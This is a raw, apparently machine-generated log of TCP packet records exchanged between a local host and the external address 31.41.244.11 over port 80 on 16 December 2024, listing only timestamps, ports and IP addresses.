Dec 16, 2024 13:16:22.932856083 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.933706999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.933764935 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.933839083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.933887959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.934787035 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.934849977 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.934889078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.934921980 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.935875893 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.935921907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.935990095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.936935902 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.936984062 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.937025070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.938002110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.938060999 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.938138008 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.939057112 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.939120054 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.075009108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.075028896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.075115919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.075356960 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.075376987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.075407028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.075429916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.076380014 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.076425076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.076457024 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.076495886 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.077500105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.077549934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.077620983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.077681065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.078720093 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.078731060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.078778028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.079629898 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.080095053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.080169916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.080692053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.080739021 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.080764055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.081815004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.081860065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.081928968 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.082053900 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.082783937 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.082880974 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.082923889 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.083853006 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.083965063 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.084012032 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.085010052 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.085062981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.085072041 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.085093021 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.086050987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.086497068 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.086540937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.087145090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.087299109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.087340117 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.088218927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.088298082 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.088340044 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.089282990 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.089325905 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.089361906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.090054989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.090349913 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.090392113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.090471983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.090511084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.091384888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.091447115 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.091516972 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.091555119 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.092458963 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.092504978 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.092575073 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.092612982 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.093482018 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.093527079 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.093596935 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.093636990 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.094551086 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.094640017 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.094690084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.095663071 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.095746040 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.095808029 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.096734047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.096777916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.096817017 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.097815037 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.097858906 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.098051071 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.098889112 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.098932028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.098977089 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.099014997 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.099944115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.100143909 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.100187063 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.101051092 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.101140022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.101181984 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.102056980 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.102106094 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.102149010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.103140116 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.103183985 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.103375912 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.104208946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.104254007 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.104322910 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.105345964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.105387926 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.105456114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.106074095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.106337070 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.106406927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.106448889 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.107428074 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.107479095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.107521057 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.108506918 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.108551025 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.108823061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.109530926 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.109580040 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.109587908 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.110052109 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.110575914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.110881090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.110928059 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.111820936 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.111970901 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.112019062 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.112737894 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.112783909 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.112845898 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.113805056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.113847971 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.114027023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.114934921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.114979982 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.114988089 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.115025043 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.115995884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.116079092 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.116142988 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.116998911 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.117149115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.117191076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.118057966 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.118170977 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.118211985 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.119205952 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.119249105 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.119272947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.120265961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.120313883 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.120381117 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.121345043 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.121387959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.121463060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.121500969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.122394085 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.122534990 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.122577906 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.123512030 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.123562098 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.123603106 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.124531031 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.124572992 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.124609947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.125595093 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.125641108 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.125646114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.126051903 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.126652002 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.126719952 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.126780033 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.127684116 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.127943039 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.127988100 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.128784895 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.128827095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.128895998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.129961014 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.130004883 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.130047083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.130877018 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.130920887 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.267628908 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.267735958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.267746925 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.267754078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.267915010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.268711090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.268778086 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.269124985 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.270057917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.270067930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.270097971 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.270174026 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.270210981 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.271229982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.271248102 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.271281958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.271303892 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.272134066 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.272186995 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.272263050 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.272295952 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.272672892 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.272684097 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.272708893 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.272728920 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.273500919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.273614883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.273652077 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.273996115 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.274111986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.274154902 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.275054932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.275099993 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.275249004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.276237011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.276283979 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.276424885 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.277282000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.277292013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.277318001 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.277333021 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.278354883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.278459072 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.278517008 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.279362917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.279457092 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.279504061 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.280699015 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.280838013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.280884027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.281651020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.281799078 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.281842947 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.282885075 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.283014059 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.283067942 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.284064054 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.284075022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.284128904 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.285269976 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.285526037 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.285583973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.286029100 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.286196947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.286247969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.287447929 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.287466049 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.287512064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.288712025 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.288723946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.288784981 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.289596081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.289607048 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.289635897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.289673090 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.293701887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.293713093 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.293723106 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.293732882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.293744087 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.293764114 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.293802023 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.293838978 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.293869019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.294692993 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.294891119 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.294925928 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.295697927 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.295710087 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.295739889 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.296811104 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.296869993 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.297738075 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.297750950 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.297815084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.299154997 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.299165964 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.299171925 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.299242020 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.299904108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.300071955 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.300111055 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.300899029 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.300909996 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.300936937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.300960064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.302134991 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.302320004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.302365065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.303229094 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.303240061 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.303276062 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.304265976 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.304277897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.304301977 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.304322958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.305345058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.305402040 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.305438995 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.305471897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.306363106 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.306545019 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.306586981 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.307252884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.307588100 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.307626009 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.308444977 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.308458090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.308491945 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.309669971 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.309680939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.309736013 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.310879946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.310890913 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.310930967 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.311633110 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.311671972 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.311760902 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.312613010 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.312623978 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.312650919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.312669992 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.313863993 CET	80	49724	31.41.244.11	192.168.2.8
